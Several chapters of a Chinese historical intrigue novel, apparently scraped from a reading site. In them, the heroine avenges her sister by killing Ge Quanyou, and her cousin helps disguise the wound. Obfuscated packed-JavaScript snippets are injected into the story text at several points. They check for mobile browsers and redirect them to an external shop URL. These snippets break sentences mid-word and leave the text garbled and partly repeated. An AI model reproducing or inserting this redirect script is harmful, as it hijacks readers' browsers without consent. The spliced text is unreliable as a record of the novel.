到底是谁要害人,又为何?唯一能讲通的解释,是某家与花家暗中不和,试图通过此举离间花家与太子的关系。加害完全无辜的女孩儿,想出来这样残忍、下作的招数,哪里配作敌手? 不过,银荷和大嫂是在亭子里晕倒,要把她们挪到屋中,这可有一番动静,主人家不可能完全不知晓。 花澈凝神不语,银荷一直紧张地看着他。过了一会儿,他说:“走,再去你们吃茶的地方看看。” 吃茶的地方已经不复辨认,不过银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236209|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷记得大致方位,再稍一形容花澈便找到了,不出所料茶壶茶盏都不见踪影。 “那时山上还有许多宫人吗?” “我没见到,似乎只有送茶的那位宫女。” “你若再见她,能认出来吗?” 银荷努力回想。她当时心中有事,根本没注意旁人的模样。 她沮丧地说:“我认不出,不知大表嫂能不能认出来。” 花澈点点头:“没事。反正就来了那么多客人,我一个个问。等太子回京城,还要让他给个交代。” 银荷听他说得这样不客气,倒有些好笑。“你之前不是说,在太子家做客出了事情,没人会细查吗?” 花澈便也笑起来:“我想得到,别人也想得到,竟还用在前头。不过葛全有怎么能和妹妹比,他死一万次都行,妹妹哪怕……妹妹放心,别说找个人,就是太子亲自给你道歉也是应该的。他若听见,一定向你道歉。” “那人放火烧了他的宫殿……” “火倒不是那人放的。若他要放火,也用不着——”花澈停下,想了片刻,决定不向银荷隐瞒。 “是大哥先来了,他进了你那间屋子,就被人锁住了门。如果让人知道……总之那人估计我们不会声张,他就可以混过去。” 银荷楞在那里半天,花澈刚想安慰她,银荷说:“可是大表哥是个好人。我们不会让那人混过去。” 花澈本以为她会难受、甚或自责,听她这么说,欣喜道:“还是妹妹通透。那人太笨了,他若只干前一件事,我们还能费些思量,谁让他自乱阵脚,想出那昏招。” 这时传来马嘶声,花澈笑道:“走,来接我们了。” 墨球从远处跑来,在他们面前停下。它浑身的皮毛比最黑的炭还要黑,又闪着亮,此时在银荷看来,简直不啻于从天而降的金乌,东海跃出的蛟龙。 花澈先上马,又伸手拉银荷:“只有一匹马,只好再委屈妹妹一下。” 银荷没犹豫就伸出手。刚行了不远,她见到处都是淤湿泥泞,又有横七竖八阻在路上的断木,担心马儿脚下打滑,便说:“路不好,我们还是牵着马走吧。” 花澈在她身后笑起来:“妹妹怎么刚答应又反悔。我不愿意给妹妹牵马。” “我也下去!”银荷说,有些不高兴。 “不要紧。妹妹不信谁的本事?”花澈突然将她圈紧一些,同时那马儿就直冲而下,不像踏在泥里,倒似腾在云上。 雾气在眼前惊散开,黑乎乎的山石忽而在左、灰蒙蒙的树木忽而在右,都飞一般闪过。银荷觉得好像在和谁赛跑,或许是风吧。这位看不见的对手把她的头发掀起来,它们高高飘着,直擦到花澈的脸。她的心跳得又乱又快,可一点儿也没怕,只感到一种别样的刺激与得意。 可惜下山的路太短,几道长坡短坡,不一会儿就到了山脚。马蹄慢下来,再转过一道弯,迎面便来了一人一马,银荷慌慌张张一瞧,见那人是元宝。 本来看见元宝是有些难为情,但他披着一身孝衣,银荷愣住了。 元宝滚下马背,喜笑颜开跑上来:“姑娘洪福齐天,没事真是太好了。” 两个人都没开口,只管瞪着他身上。元宝回转过来,敛住笑,向花澈说:“禀爷,昨日宫里下诏,皇太子薨了。” “什么?”银荷与花澈齐声惊呼。 49. 做客 一刻钟前还在议论该要太子查问行宫出的事,谁料接着便听到他的死讯,二人着实吃惊。花澈跳下马,一边穿上元宝带的素服,一边问:“什么时候,怎么回事?” 元宝亦不晓得详情,只道是太子在外时不知何故身亡,消息昨日才传回来,灵柩还未入京。 花澈和元宝在前头走,银荷骑在马上,慢慢地跟在后面,想到刚刚听见太子妃盼着太子归家的话,谁料太子竟突然离世;又想昨日一日,自己也遇到各种事故,险些没丢了命。果然是风云不测,祸福旦夕……想着想着,心里不免沉重。 另两个人悄声说了一阵话,花澈面容严峻,但转过头来时,只向银荷笑着:“妹妹不必忧心,于咱们没有半点干系。我们该做什么照做就是。只是这几天妹妹先待在家里。妹妹受了惊,也好好休息一下。等下妹妹换身衣裳,与大嫂一道回去。” 说话时到了山下平地,一辆马车正停着,车上也挂有白幡。花澈要元宝陪车送银荷,自己骑着马,飞驰而去,不知去了哪里。 银荷原担心被瑷宁打趣,不过瑷宁一字不提,只叮嘱她回去如何说她们二人在外游玩,天晚,在友人家住了一夜等话。这便回家见了老太太等人,事情就算过去了。 没过两日,太子大殡,殿内停灵十三日,王公大臣、命妇须每日入朝行丧仪。花家老太太与三位太太亦天天早出晚归,诸多辛苦。第二日回来,大太太便生了病,病势还比较急,花家合家上下,又多了几重忙乱。 七八日后,大太太方平稳了些。这天,银荷来探望她,戚晚在旁低眉顺目不吭声,但逢要端茶倒水,服侍病人,她格外殷勤、细致。大太太拉着她手说:“原先我是错看了这孩子,没想到她倒是实心眼,嘴上也不辩解,心中也不埋怨,只一味孝顺我。” “原是应当的,更别说太太一向待我好。”戚晚小声道。 银荷不免有些尴尬,略坐了一会儿,便告辞离开。 她又去瞧瞧映雪,丫环领她进了屋,银荷以为只映雪一人在,没想却见她正抹眼泪,花潜陪在旁边小声劝说着。 银荷刚想要走开,花潜立即站起身说:“表妹来得正好,我还有事要出去,你帮我劝劝阿雪。本来身子就没太好,最近又操劳,再这么伤心下去,落下根儿就麻烦了,我讲她也不听。”说罢,他感激地望银荷一眼,又担忧地瞅瞅映雪,走出门。 “怎么了,二表嫂是为何事。”银荷在映雪身边坐下。 “并没什么。”映雪露出个忧伤的微笑,“小题大做的,让由妹妹笑话。” 银荷以为是家务事,不好多追问,便说:“小宝乖么,我看看去。” 映雪忙唤奶娘,可是逗完孩子,她又落下泪来:“她的女儿也很小,才不到两岁,怎就没了父亲。” 银荷刚开始不知说谁,猛然醒悟是太子妃,不禁一同黯然。 这时,京中早有悄声议论,说太子是在视察北疆毕、归京途中遇刺。关于刺客身份,众说纷纭,但大都猜测是敌国混入的细作。京城人久见了世面,便要备战,也没有人心惶惶。太子生前广受拥戴,但如今他既已身亡,文武百官最关心的便是新的储君人选。 皇帝并未急于册立新太子,但暗地里,大家都以为,从德行、才干、年龄各方面考虑,非四皇子莫属。 尤其是,皇帝还下旨,召花家三老爷即刻入京,任太傅一职,教导诸位皇子。于是,整件事,对花家来说,倒仿佛是个“喜事”。 花家人自然不曾表露什么,但不管各人心内如何想,确实只有映雪一人,为太子妃伤心。 她擦着眼泪说:“我总是想阿荣失去了丈夫,她怎么能受得住啊。” “二表嫂跟她很要好吧。” “原先我们是能谈得来。我们两个,都不喜欢那些打打杀杀的事情。那时她不想嫁入皇家,不过太子是个很好的人,本来他们一家子…… “刚才你表哥也说,生在帝王家便是这样,哪能像我们常人一样。说起来前头还有兄弟操戈之事,到底是何苦——天下该是谁的就是谁的,哪里是争抢来就能真得了。就算得了又怎样,未必及得上寻常人的快活。” 说到这儿,映雪缓缓摇头:“寻常人也有要争抢的,大概人就是喜欢你争我夺。我是想不明白,要我宁可安闲度日。不过我……”她突然握住银荷的手,“从那天你们在山上差点儿——幸好躲过去了,但我心里总是不安,也不知是怎么回事。又有后面那场火,恐怕都是兆头啊。”映雪话音颤抖。 银荷最近数日没有见到花澈,料想他还没有工夫去追查落石一事。反正她心里明白那是人为,而非意外,因此也就不是什么“兆头”,但不好向映雪明说,只得劝慰开解几句,也就算了。 . 大太太生这场病,娘家亦有人过来探望,还带了诗钰来,姐妹们久不见面,自有一番亲热。老太太怜惜女孩,本欲将诗钰留下,但郭家似铁了心不愿再麻烦别人,大太太也不开口,老太太不好掺和他们的家事,只得作罢。临去前诗钰和大家一一话别,双方难免都生出些许伤感。 过了几天,大太太的嫂子、诗钰的伯母登门向老太太道谢,说起诗钰回家后,还常常想念姐妹们一起玩耍的日子,不知园里几位姑娘可愿意赏光去做客几天,一来几位姐妹叙叙旧,再来也让他们能对花家的照顾略微回报一二。 老太太本来不大乐意,但又想这段时日姑娘们闷在家里,无事可做,而且,恰映雪在旁,露出几分想去的意思,便说定映雪和几位姑娘同去郭宅小住一日。 都准备好了,映雪偏偏受了风,头疼起来。虽早已出了月子,全家还是不敢大意,怕产后落下病根。于是她又在屋内被关了几天,只有花瑛、花瑶和银荷三人各带了丫环去往郭宅。 郭氏一族本也是名门,但子孙不肖,这十年来一路向下,如今,只靠着沐到些鼎盛时期的余晖残照,才没有败落到底。 郭家的宅邸已经历了四代人,虽则位置稍偏,但占地不小,从外面看去仍是气派十足。 三位姑娘被迎入内院,由诗钰、她的堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不一时,一位丫环站在厅门向诗钰招手示意,诗钰跟她出去。 “客人来了,大爷让你快去看看。” “今日?”诗钰很不甘愿,“这不是还有客人在这儿吗,我走了谁招待?” 丫环面显难色:“大爷还吩咐我有别的事,不能多耽搁。姑娘快去吧,看一眼就行,大不了不同意就是了。先过去,其它回头再说,省得大爷生气。” 诗钰磨磨蹭蹭又问:“这人是干什么的,怎么称呼?” 丫环就说:“不知道,好像是勐州人。葛家公子,说是家大业大的。” 诗钰哼一声:“说得好听,真要是个齐全人,他们哪里想到我?” 丫环笑道:“说到这个才好笑呢,那人名字偏叫葛全有。大奶奶说听这名字就是个福气享不完的。” 本来两人是小声说话,可最后这句,丫环一笑,没压住嗓门,声音传入厅中。别人不理论,但葛全有三字银荷怎会放过。她打了个冷颤,竖起耳朵再听,两人却又不说了。 50. 迷香 银荷正着急,诗钰返身进屋,道歉说另外有事,匆匆地去了。 银荷满腹狐疑,不知诗钰果真是去见客,客人果真是葛全有?但若葛全有与郭家相识,如何从没听花澈提过?可若不是花澈,怎么这么凑巧,刚好碰到今日? 她神思不属挨到晚膳。郭家给她们几人单独备了一桌饭菜,席间没有见到诗钰,只有她堂嫂作陪。银荷问:“诗钰姐姐怎么撇下我们自己走了。好容易来一趟,还没说够话呢。” 堂嫂堆出一脸笑容:“是她大哥请来位朋友,让诗钰去见见。” 花瑛和花瑶都现出诧异不解的神色,兄长的朋友必然是男客,为什么偏要妹妹去见。 堂嫂忙道:“这位客人也是你们家三公子的朋友,说不准你们都认得。” 花瑛说:“三哥的朋友多了,我们可一个都不认得。” 堂嫂见她们不以为意,也就不再提。独银荷的心狂跳不已:看来确是花澈介绍葛全有来,难道这就是他说的合适时机,要她在这里杀了葛全有?可他事先半个字都没透露。或者后头还另有布置,只是他本人一时未到?抑或只是凑巧? 银荷心不在焉吃了几口饭。饭毕,大家便各自散去。 郭家为客人安排的住处与郭家的姑娘们并不在一处,花瑛和花瑶住在一个单独的院子里,银荷住在旁边的跨院。 这时,银荷回到屋内,坐下又思索一阵,心想:该先去探探风,若果真是花澈的安排,可不能在这里干坐干等,等他来了,在他面前无甚可夸口的,太丢脸。若与花澈无关,就更要去看看,至少提醒诗钰一声,让她小心点儿。 织雨正忙着收拾东西、铺设被褥。银荷便向她说:“刚刚吃得多了些,现在睡觉也太早,我找郭姑娘在园子里转转。一时没回来你也别急,别到处寻我,你又不熟悉,看走丢了。” 因她向来无事做的时候,不肯闷在屋里,织雨已经惯了,又想是去郭姑娘屋子坐着,料没关系,便只劝了一句:“天快黑了,姑娘小心点,早些回来。比不得自己家,当心走路绊了。” 银荷答应着出去,先拣僻静道路将整个院子大致走了半圈。这当儿,天已擦黑,四周渐渐昏暗下来。院子里走动的仆人并不太多,银荷又有意躲着人,一路上谁也没碰到。她把看见的地方尽力记在脑中。 路过诗钰的住处,她的屋子还未点灯,银荷想诗钰或许与郭家姊妹或太太在一起,倒不便去找她;不知葛全有晚上是否留宿在此,不如先想法找找他住哪间屋。 正走着,两个小厮的说话声在不远处响起。 “这边来做什么?” “今儿有客,酒席恐怕该散了,我赶过来照个亮,客人高兴了说不定给两个赏钱。” “就你精,这会儿又不是看不见路。那边还有事,快走。哪儿弄不到钱,今晚开几局就回来了。” 银荷听了全身猛地绷紧,可能葛全有就住这里!那提灯小厮和另一个说笑着走开,她四面看看,便来到窗下。屋里没亮灯,半点儿动静也无。 银荷原本是急性子,加之这段时日胆量也变大许多,哪管什么轻率不轻率,鲁莽不鲁莽,只想着冤家路窄,葛全有你可算撞我手里了,等你这狗东西回来,就给你一刀。 指不定这正是花澈的意思,这样一想,银荷闪身,推门进了屋。 屋内很暗,模模糊糊能看见周遭物品的轮廓。银荷首先瞧见桌脚旁一个橙红色的亮点,随即,嗅到一丝幽淡的甜香。不止一丝,香气缕缕,结成一张轻网,向她笼过来。她想逃,却连转身都做不到,脚仿佛就要变成两片羽毛飘走。 正像那日在山上喝茶时的感觉——千万不能晕。银荷屏气,手撑在桌上稳住自己。那个橙色的亮点越来越大,越来越近,黑暗中野兽黄澄澄的眼睛! 随便抓过桌上一样东西,砸了过去。咣啷——,亮点消失了。原来她扔去一把茶壶,壶里有水,把香浇灭了。好一会儿银荷才反应过来,心中一松,不由自主滑坐在地。 可她还不清醒,直想躺下闭上眼睛。她用手在地上摸索,摸起一块瓷片,向左臂狠狠划下去。 甚至都没有期待中的疼痛。但银荷摸到有血流出来,下意识用衣袖按了,这才发现已经恢复不少神智。她挣扎着站起来,踉踉跄跄朝外走。 刚出门还没走几步就迎头撞上一人。有一会儿银荷像被施了定身术,钉在原地盯着对方,也任由对方打量。 新仇旧恨一齐兜上心来:好你个葛全有,死到临头了还想使坏。 葛全有身子摇晃,半晌才站稳,愣愣磕磕道:“你就是那个,那个……” 可恨手脚仍是软绵绵的,银荷没吭声,扭身往一旁走开。她微微一转头,很好,葛全有跟过来了。 “别走啊,等等——” 银荷只管往前走,葛全有在后面唤了两声,见她虽不答应,但步子并不多快,就也不紧不慢尾随着。 夜风凉爽,正好醒酒。月光下别有情趣,真是妙哉,郭家人待客热情,不枉结交一场。葛全有正美滋滋想着,一分神忽见前面的背影一闪,消失无踪。 只有一条路,还能插翅飞了不成。他急切地向前跨两步,发现原来到了墙角拐弯的地方,这是要往哪个旮旯钻?葛全有咧嘴一笑,飘飘然追上去。 转过弯他就瞪大眼搜寻那个纤纤袅袅的身影,这一来根本留意不到脚下。不知什么东西伸出来将他一绊,他像个面口袋嗵一声倒地,还来不及咒骂就被件硬物砸晕过去。 银荷蹲下身,分辨葛全有是否真的没了知觉。这旁边就是个放置杂物的小棚,壁上正挂着一捆麻绳。她飞快取来,把葛全有双手反剪在后面捆紧,双脚也绑结实,然后连推带拽将他身子靠在墙上。 这一通可把银荷累得够呛,喘了半天气,但也顾不上多歇,她又掏出一直带在身上的小刀,从葛全有衣服上割下一块布,团一团捏在手中。 该怎么让他醒转,银荷犯了难。干脆地一刀结果掉,那可太便宜他了。他得知道自己是怎么死的,得尝尝呼天不应求地无门穷途末路悔不当初的滋味。 拍他几巴掌?不行。光瞧瞧这张油乎乎的肿脸,便觉得自己的手已经脏了。 银荷站起身,左一脚右一脚不停踢他,压着声音气恨地说:“让你再装死。”全然忘记正是她刚才狠狠砸了他脑袋。 葛全有动了动,缓缓睁开眼睛,茫然呆滞地注视前方。 “你还记得我吗?”银荷蹲下身,面对面瞪着他。 “你,你……”葛全有瞠目结舌盯着银荷,在她烙铁一般的目光下,酒醒了大半。 一轮明月升起,清光穿透了四处蔓延的晦暗。银荷稍稍扭头,让月光照在她脸上。“你好好瞧清楚了,没想到还会见面吧。” 葛全有似乎真的认出她来,眼中闪现惊讶、心虚的神色,左右晃动着挣扎起来。 “别动!”银荷拿刀尖比住他脖子,“要是再乱动或者喊叫,我就一刀戳死你。” “别戳别戳,我不动也不喊。”葛全有满口保证,果真安分下来。“原来你是郭家的人?” “我不是。”银荷低声喝道,“君子报仇,十年不晚。我是来取你命的。” 可能她实在不像要杀人的可怕样子,葛全有并没着慌,甚而还露出几分调笑之意。“这么说你也是客人,是花家来的?” “我是谁你都得死。” “误会,误会。”葛全有忙道,“我一直在找你。上次是我太心急了,不过你那丫环也打得我不轻。没事,我不怪你们。你先把我松开。” 银荷一呆。葛全有是将她认做了由心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258928|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 未进花府前,邬嬷嬷含悲说:“你与姑娘本来相像,扮做姑娘,真没人认得出。” 那时,她以为邬嬷嬷是为打消她的惶惑不安。 到花家,确实没人有疑问,因为谁也没同时见过她和由心两个人。 头回被认,竟然是葛全有! “我还一直没娶亲,就是真心想要娶你。我说咱们有缘吧,竟真被我找到了。”葛全有见银荷不语,愈加殷切地说。 银荷从来没有这么恨过。 “不要瞎了你的狗眼,好好瞧瞧我是谁!——我最后悔的事就是上回打得你太轻,没把你打死。这次不会放过你!” “上次是你……你是那个丫环!”葛全有突然叫道,接着又问,“你姑娘呢?” “你还敢问?姑娘被你害死了。”银荷流出泪来,“你别想再见她,永远也见不到。你马上就要下地府,这辈子,下辈子,生生世世,都不会再有你这个人了。” 葛全有这才真的惊恐:“我没害她,不是我。” “你再说!”银荷又将刀逼近。 “不是,真不是。”葛全有急白了脸。 “还说!你敢说不是你想做坏事?不是你劫了我们的车,不是你掳走姑娘?你要不是丧尽天良,怎干得出来?我们姑娘哪里想到世上还有你这种坏人。本来她还好好活着,都是因为你!” “姑娘饶命,别杀我。我是做错了,可我……还有人比我坏,姓郭的那个家伙,你别被他骗了,他做的事我都知道,他更该杀。你放了我,我带你找他。我以后再也不敢了,饶了我这次,你要什么我都给你,所有东西都给你。我马上立字据,决不反悔。”葛全有一边赌咒发誓,一边焦急地偷偷望向远处,声音越说越大。 “闭嘴!”银荷把布团塞进他嘴里。“你的臭东西,我一个都不要。我只要你死。你再说一天一夜也没用,省省你的力气,到阎王跟前解释去吧。” 葛全有挺直身子,头在墙上咚咚撞,撞一下就乞求地望她一眼。 银荷没理会他。她站起身,稍微跳开两步,向周围看去。连只经过的猫都没有,她恐怕找到了这院中最不起眼的角落。靠墙有两三株歪扭的枯树,地上零落堆了几小堆残砖断瓦,大片青苔沿着地脚向墙上爬,在夜色下好似一块块丑陋的黑斑。 她又来到葛全有身前:“你听好,死也让你死个明白。要你死,是因为你害死了我姐姐。别想狡辩,我亲眼看见的!我看着姐姐死了,从那一刻起,我就发誓一定要你偿命。你以为我只恨你,我还恨我自己,是我没用,才让你多活了这么久。你也别以为你死了我和姐姐就能原谅你,你死一万次也抵消不了你犯下的罪过。你该庆幸你就一条命,一了百了。现在一刀杀了你,就是你最后一件痛快事了,等你变成鬼是个什么惨样,你马上就会知道,不用我再多说。” 她当然不指望葛全有真能明白,这番话毋宁说是讲给她自己听的。说完后,她握紧刀,抬起手。 刀却迟迟没有落下。 不知为何她就是没法下手。不是因为心软怜悯葛全有,他连都阴沟里的虫子都不如。也不是因为畏惧后果,这个时候她完全没想以后的事。更不是因为不会做,一刀不行就两刀,如果碎尸万段方能让他死透,她也不过多费些力气。 以前总设想杀死葛全有的痛快利落,花澈却泼凉水,说没那么简单,等到了临头,就会发现不是那一回事。 那到底是怎一回事?银荷焦急起来。拖得时候越长,越容易被发现。事到如今就差最后一步,何故她迈不出去? 葛全有突然剧烈扭动起来,眼睛望向银荷身后,似是发现了救星一般。 银荷不知他是不是使诈。“别动!”她屈身向前,刀抵住他的脖子,这才回头看去。就算有人来,她也能先杀了他。 51. 回答 十多步之外,树下立着一个黑影,一个很熟悉的轮廓。银荷瞧一眼,心就落回了肚子。 她又转向葛全有:“别想了,谁也救不了你!” 花澈走上来,在葛全有身前蹲下。 葛全有“唔唔”挣着,嘴里说不出话,只能看看银荷,向花澈拼命摇头,再看看银荷。 让银荷始料未及的是,花澈抬手拽出了葛全有嘴里塞的布,根本来不及阻止。 葛全有会说出…… 一刀下去,他就什么也说不了了。 葛全有拼命往旁边歪,避开刀尖。“花兄弟救我,她是……” 她的刀依然没有刺进他的胸口。 “谁听你说耍话。”花澈的眼睛如刀子逼住葛全有。“哪个是你兄弟?她是我的妹妹。” 说完,花澈又塞上葛全有的嘴,转头与银荷对上目光。 仇恨和悲痛在她眼里闪着。一时间,花澈心头一阵疼。这个姑娘。 她的秘密不该由葛全有说出来。她要杀他,也杀得了,但她不是为灭口杀人。 “动手吧。”花澈伸手按在葛全有胸前。 银荷深吸一口气,将刀抵上去。 葛全有身上飘出一阵热烘烘的骚臭味。 到死都这么腌臜。死不足惜的家伙。银荷心恨极。她轻转手腕。真的,刀子太锋利了,几乎没感到费力,刀刃已完全没入,如此简单。 四周已差不多全黑了,空中却有很大一轮明月,只欠一点儿圆,闪闪放着银光。月亮直直地照着葛全有惨淡的脸。 活着的时候,他的目光总是让人膈应,粘在身上像虫子一样甩不脱,现在虫子再也不会乱爬乱动了,仰躺在月光下,翻着肚皮。银荷突然一阵恶心。 花澈将刀拔出来,在葛全有衣服上拭拭,收入袖中。“我回去洗干净了再给你。妹妹转过头,别看。” 等银荷移开眼,花澈从身上另掏出一把匕首,向葛全有心口扎进去,转了几转,直捣得伤处血肉模糊,再精细的仵作也看不出原来刺痕,方收回刀。 他又将葛全有翻过身,查看缚住他手脚的绳扣。这一瞧,花澈差点要笑出声——能绑住贼人的姑娘总找得到,但只有这一个,会把绳结打这么漂亮。 花澈一时搞不明白要如何解开,干脆拿刀挑断。他四下看看,见无不妥之处,遂站起身,伸手拉银荷。“好了,走吧。” 银荷疼得叫了一声。 “怎么受伤了?” “不疼,没事。” 银荷要缩手,花澈不放开,将她的袖子掀起到手肘,露出小臂上寸长一道血痕。 银荷这才看见,这才感觉出疼得难忍。 花澈抬起手指想要摸摸,吓得她一抖:“别碰,疼!” “怎么回事?” 银荷说了去葛全有屋里吸入熏香差点晕倒的经过。 “还有这事?还好你反应快。”花澈皱起眉,“你倒真能对自己下狠手啊。” 他的话里带了些责备之意。银荷没吭声,反正葛全有已经死了,即使前面做得不够利落,他也死了。 “我给你包一下。”花澈掏出一个小瓶,涂些凉凉的药膏在伤口及四周。银荷感到一阵带着麻的疼痛,她吸了口气,忍住不动。 “多涂几天药,不会留下疤的。” “留就留吧,没关系。”银荷说。 花澈没说话,从怀里掏出帕子。 “我有。”银荷拿出手帕递给他。 “太小了。”花澈看都没看一眼就塞进怀里,依旧用自己的帕子给她包好。银荷没动,人都杀了,还计较这些? “就把……尸体留在这里吗?”等伤口扎住,银荷问。 “对,别管了,动作越多破绽越多。快走,已经不早了。你回去没事?” 银荷摇摇头:“我跟织雨说过了的。” “我是说你,别再想这事。” 银荷点点头。她问花澈:“是你让他到这儿来的?” “不是。要是我,怎会不告诉你。我让人跟着他,就跟来了,事先并不知道。” 花澈对自己无比恼恨。第一次见葛全有,没看出他胆大包天,不然,不会与他喝过酒,就将整件事抛至脑后,银荷也不会如此伤心了。 葛全有来京城,他也只见过那一次——再见一回,未必忍得住不亲自动手。 他找了个人监视葛全有,只一条,别让他乱跑,防着需要时找不到人。 本来,葛全有很是好找:他把一应事务都交给家仆处理,自己几乎住在了青楼。 不过今日午后,葛全有摇摇晃晃从勾栏院出来,回到他租下的宅子,换了身衣服,被两个随侍扶进马车,竟来了此处。 跟着他的人本以为是寻常赴宴,等到了这里,瞧见还停着花家的车子,一问得知,府中几位姑娘都被请了来。甭管怎样,不是一般的赶巧!那人怕出岔子,赶紧去禀报。 他一时没找到花澈,耽搁了一会儿工夫。 幸而无事。 既无事,且后悔无用,花澈也就算了。他说:“葛全有来这儿做什么,明天自然会有人帮我们查清楚。妹妹指给我他住哪间屋,我去看看。” “我也去。” “不必,妹妹快回吧,省得让人着急找你。我把那些碎瓷片清理了便走。” 银荷听了,懊恼自己事情办得不聪明,处处留下了证据。 花澈道:“没事。只是可能沾了血,他们就会找身上有伤的人,虽然肯定不会找到你,但这么一来没准儿会排除别的人。” “他们会找到谁?” “不知道,反正不是咱们。”花澈无所谓地说。 银荷倒有些担心,不过此时也不是细致谈话的时候。 两人趁夜色潜行回去。进屋前银荷又回头望一望,花澈举起一只手,先用两根指头飞快划了下,又将脑袋向手心歪了歪,大概是说:“我走了,你放心睡觉。”银荷向他笑笑,他便消失不见。 织雨果然急了,正要出门找人。“姑娘怎么这么晚才回来,黑灯瞎火的,撞上人可怎生好?你和三姑娘真是,净会让人着急。难怪大奶奶说你,再这么着,下次我可不敢和姑娘出门了。” 银荷听她意思,倒好像花瑶也久不回来,她的丫环过来抱怨过。想来是花瑶找诗钰玩去了。正不好解释,她也就含混地答应:“我不是回来了,你别告诉大表嫂。哪里就多晚了,今天月亮好得很,在外面走走倒不那么闷了。” “要在家里姑娘尽管走,走一夜我也不拦着,出门就忍忍。” 织雨真着急时,会说银荷几句,像大姐数落小妹。这时放下心,便去倒水,让银荷洗漱歇息。 银荷在灯前仔细检查全身上下,只有里衣袖子上沾了血。她把衣服换下来,卷起藏好,预备回去后丢掉。——待明日尸体被发现,必有一番人心惶惶,趁着乱,织雨也不会仔细收拾,将来问起来就说忘在这里了。 这么一想,没有任何不妥当了——花澈也说,绝不会有人来搜查。 可银荷心中还是乱乱糟糟。怕织雨问起晚上的事,她慌忙躺下。熄了灯,一片黑暗时,她又差点儿跳起来喊织雨和她秉烛夜谈。 她的心“砰砰”地猛烈跳着,躺在床上不动令人无法忍受,几乎是不可能做到的。那个人,那个她最恨的人倒是躺在附近,永远也动不了了。银荷想放声大笑。 眼旁却淌下泪来。听人家说,极高兴时也会流泪,分辨不出是不是如此。 可是姐姐并不能回来。眼泪一下涌出眼眶,流进耳窝;她悄悄擦去,怕织雨听见,咬着嘴唇,死命压住啜泣声。 待这阵难过平息,心绪又转回眼前之事,怅惘如浓雾般慢慢罩上来。明明仇恨已报,为何还不得痛快? 到底真的做了吗,会不会到头来发现只是一场梦?银荷向一旁看去。 帐幔无声无息地悬着,能感觉出其上每一道幽暗柔软的褶皱。房间里萦绕着静静的香气。在家时,很少熏香,但这屋子有种久未住人的淡淡的沉闷气息,织雨一定是因此才点了线香。衾褥也是织雨从家里带来的,这一点贴身的熟悉,混着余下的陌生,给银荷异常明晰的感受。不是梦,若在梦里,姐姐会回来。 唯有眼泪。 “要像以前一样,快快乐乐的……”这是由心的愿望。 快两年了,她就是为了这一天,为了这一刻,从此后,就可以快快乐乐了。 不知刀扎进葛全有的身体,他死前的一瞬,有没有感觉到万分痛苦?如果有,她真正高兴。 银荷将手伸进枕头下。 刀柄被握得温热,利刃冷而薄……如果能再摸到那把刀,就可以坚信不疑了。 刀不在这里。 不知是不是牵到了伤处,猛然间,一阵尖锐的刺痛…… 煎熬了一夜,到天亮时,银荷刚阖上眼,便听到有人奔来跑去,慌张呼喊。她疲惫地等待着,只希望所有事情快快结束。 织雨出去打听,过了会儿脸色发白跑回来:“姑娘,真出事了,昨夜这院里有人被杀了!”说完心惊胆颤看着银荷,当真太险了,万一…… 银荷假装又惊又惧:“什么人被杀了?不是郭家的人罢?” “不知什么人,好像也是来的客,是个男客。这会儿主人都不见了,外面乱七八糟的,姑娘先别出去。” “没事,你收拾一下,我们先去瞧了二姑娘三姑娘,好歹咱们聚在一处。要是能回就先回,不让走的话,看能不能先找人去报个信。” 等见到花瑛花瑶,两人也吓得要命,花瑶低声啜泣着,几个丫环俱是六神无主。还是织雨去厨房,张罗了些吃食,让几人胡乱用了,再去前面打探,看几时她们能走。 原来一大早是扫地婆子发现了尸体。那婆子先没看仔细,当是哪个醉倒了,用扫帚一戳,人都僵硬了。唬得她魂飞魄散,也不知该向谁报,慌不择路中喊醒了一片人,一时间满院子人横竖乱窜。 跟着葛全有的,有两个小厮,昨夜与人押完宝自去睡了,醒来听见死了人,以为自家爷还在酣睡,便歪袍乱袄地跟过去瞧个热闹。见到后,吓得瘫坐在地。其中一个在葛全有尸身前哭了几句,听见后头人喊“爷来了”,回头一看是请来葛全有的郭传智,当下气极发狠道:“什么爷?拐了我家爷来做客,竟是掉进匪巢贼窝了!”冲上去抱住郭就要拼命,旁人赶忙拉开。 另一个机灵些,趁乱溜出人群,跑去附近县衙报官。他刚走,郭家管事出来嚷嚷说是这两个小厮杀了人,反栽赃陷害郭家,一面也喊人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马车还未驶出花府后街,就停了下来。只听见外面说话:“妹妹要去哪儿?” “三表哥可是有什么事?”银荷坐在车里没动。 “无事。妹妹不在家休息,又要出门?” 还没作答,灵曦已经跳下车。银荷见花澈要上来,忙说:“我只是去寺里,真的烧香求佛,不需要三表哥陪着。” 